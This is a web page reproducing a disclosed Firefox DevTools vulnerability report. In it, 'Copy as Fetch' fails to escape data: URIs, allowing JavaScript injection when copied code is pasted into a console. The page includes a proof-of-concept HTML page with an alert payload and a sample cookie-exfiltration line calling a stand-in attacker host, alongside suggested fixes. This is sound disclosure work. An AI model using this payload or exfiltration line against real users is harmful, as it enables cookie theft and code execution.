Skip to content
XSS Disclosed report Intermediate CVE-2026-4717

JavaScript injection via DevTools "Copy as Fetch" / "Use as Fetch in Console" with data: URIs

The DevTools 'Copy as Fetch' feature inserted a request URL into generated JavaScript without escaping, so a crafted data: URI containing double quotes could break out of the string literal and inject code. An attacker could get code to run when a user pastes and executes the copied snippet in a console.

Satoki Tsuji Follow

Originally disclosed on Mozilla

  • Fixed in 6 days
  • Paid in 26 days
  • Disclosed after 6 days

Created attachment 9550751 poc.html

Summary

The DevTools Network Monitor "Copy as Fetch" and "Use as Fetch in Console" features generate JavaScript code by interpolating the request URL directly into a string literal without any escaping. Since data: URIs are non-special URL schemes under the WHATWG URL Standard, double-quote characters (", U+0022) in their opaque path are NOT percent-encoded. An attacker-controlled data: URI can therefore break out of the string literal and inject arbitrary JavaScript that executes when the user pastes and runs the copied code.

Affected Component

  • File: devtools/client/netmonitor/src/widgets/RequestListContextMenu.js
  • Line: 749
JavaScript
const fetchString = `await fetch("${url}", ${options});`;

The url variable is interpolated with zero escaping. Compare with:

  • "Copy as cURL" which uses escapeStringPosix() / escapeStringWin() (in devtools/client/shared/curl.js)
  • "Copy as PowerShell" which uses escapeStr() (in devtools/client/netmonitor/src/utils/powershell.js)

"Copy as Fetch" is the only copy function without any escaping.

Root Cause

  1. No escaping on URL: generateFetchString() interpolates the URL directly into a JavaScript double-quoted string literal ("${url}"). JavaScript-special characters such as ", \, newlines are not escaped.

  2. data: URI percent-encoding: Under the WHATWG URL Standard, data: is a non-special scheme. Its opaque path is encoded using only the C0 control percent-encode set (U+0000 to U+001F and U+007F and above). The double-quote character " (U+0022) is NOT in this set, so it is not percent-encoded.

    • Relevant source: third_party/rust/url/src/parser.rs — parse_cannot_be_a_base_path()
    • Percent-encode set: third_party/rust/url/src/percent_encoding.rs — CONTROLS
  3. No scheme filtering: The "Copy as Fetch" menu item has no scheme-based filtering (visible: !!clickedRequest only), so data: URI requests are eligible for the copy action.

Steps to Reproduce

Step 1: Visit attacker's page with DevTools open

Open the following HTML file (or host it on a server) and open DevTools (F12) → Network tab:

HTML
<!DOCTYPE html>
<html>
<head><title>PoC - Copy as Fetch Injection</title></head>
<body>
<h1>PoC: Copy as Fetch JS Injection</h1>
<p>Open DevTools (F12) → Network tab, then click the button.</p>
<button onclick="sendPayload()">Send payload</button>
<script>
function sendPayload() {
  fetch('data:text/html,"+alert(document.domain)+"');
}
</script>
</body>
</html>

Step 2: Copy as Fetch

In the Network Monitor, right-click the data:text/html,... request → Copy → Copy as Fetch.

Step 3: Paste into any page's console

Navigate to any other page (e.g., https://example.com), open its Web Console, and paste the copied code.

Expected Result

The generated code should be a valid fetch() call that reproduces the original request:

JavaScript
await fetch("data:text/html,\"+alert(document.domain)+\"", {
    "credentials": "omit",
    "headers": {},
    "body": null,
    "method": "GET",
    "mode": "cors"
});

(Double quotes in the URL should be escaped as \")

Actual Result

The generated code contains unescaped double quotes from the URL, breaking the string literal:

JavaScript
await fetch("data:text/html,"+alert(document.domain)+"", {
    "credentials": "omit",
    "headers": {},
    "body": null,
    "method": "GET",
    "mode": "cors"
});

The JavaScript parser interprets this as:

  1. "data:text/html," — string literal
  2. + alert(document.domain) + — arbitrary code execution!
  3. "" — empty string literal
  4. , { ... } — second argument to fetch()

The expression is syntactically valid JavaScript. alert(document.domain) executes as a side effect.

Impact

  • Cross-Site Scripting (XSS): Injected code executes in the context of whatever page the user pastes the code into
  • Credential theft: Payloads such as fetch('//attacker.com/?c='+document.cookie) can exfiltrate cookies and tokens
  • Privileged code execution: If the user pastes into the Browser Console, injected code runs with chrome (system) privileges

User interaction required

  1. Visit attacker's page with DevTools Network Monitor open
  2. Right-click the request → "Copy as Fetch"
  3. Paste into another page's console and execute

For "Use as Fetch in Console", the code is auto-filled into the console input — the user only needs to press Enter (though it executes in the same page's context).

Additional bug: referrerPolicy handled incorrectly

In the same function, referrerPolicy is set to the full header object instead of just its .value string:

JavaScript
// Line 727-729: returns {name: "Referrer-Policy", value: "no-referrer"} instead of "no-referrer"
const referrerPolicy = requestHeaders.headers.find(
  ({ name }) => name.toLowerCase() === "referrer-policy"
);

// Compare: referrer correctly extracts .value
const referrer = referrerHeader ? referrerHeader.value : undefined;

This causes the generated fetch code to have an object instead of a string for referrerPolicy, making the generated code functionally incorrect.

Suggested Fix

Escape the URL before interpolation into the JavaScript string literal:

JavaScript
// Option 1: Manual escaping
function escapeJSString(str) {
  return str
    .replace(/\\/g, '\\\\')
    .replace(/"/g, '\\"')
    .replace(/\n/g, '\\n')
    .replace(/\r/g, '\\r');
}
const fetchString = `await fetch("${escapeJSString(url)}", ${options});`;

// Option 2: Use JSON.stringify (simplest and most robust)
const fetchString = `await fetch(${JSON.stringify(url)}, ${options});`;

Also fix the referrerPolicy extraction:

JavaScript
// Before:
const referrerPolicy = requestHeaders.headers.find(...);

// After:
const referrerPolicyHeader = requestHeaders.headers.find(
  ({ name }) => name.toLowerCase() === "referrer-policy"
);
const referrerPolicy = referrerPolicyHeader ? referrerPolicyHeader.value : undefined;

Affected Versions

This vulnerability exists in the current mozilla-central trunk and has likely been present since the "Copy as Fetch" feature was introduced.

The original report as published on Mozilla's Bugzilla, by Satoki Tsuji. Images and videos are our own copies; raw HTML is shown as text. View it on Mozilla's Bugzilla.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Impact

Injected code could run in the context of whatever page the user pastes it into, potentially stealing cookies or tokens, and could run with chrome privileges if pasted into the Browser Console; user interaction is required.

What the attacker needed

Victim visits attacker page; DevTools Network Monitor is open; victim copies as Fetch and pastes code

The fix

The URL should be escaped before interpolation, for example by using JSON.stringify, and the referrerPolicy extraction should use the header's value.

How it was found

  1. Open an attacker page with DevTools Network Monitor open and trigger a fetch to a crafted data: URI.
  2. Right-click the data: request in the Network Monitor and choose Copy as Fetch.
  3. Paste the copied code into another page's console and run it.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

Developer tools can generate ready-made code that repeats a network request. This report shows that one of those generators pasted the request address into the code without cleaning it first, so a specially crafted address could add extra instructions. If someone copied that generated code and ran it, the extra instructions would run too.

What is XSS?

Script an attacker supplies runs in another user's browser, on the target's origin, with that user's session.

More by Satoki Tsuji

View all

8 more disclosed reports, best first.

More from Mozilla

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Cross-site scripting (XSS)

The lesson behind this report.

Script an attacker supplies runs in another user's browser, on the target's origin, with that user's session.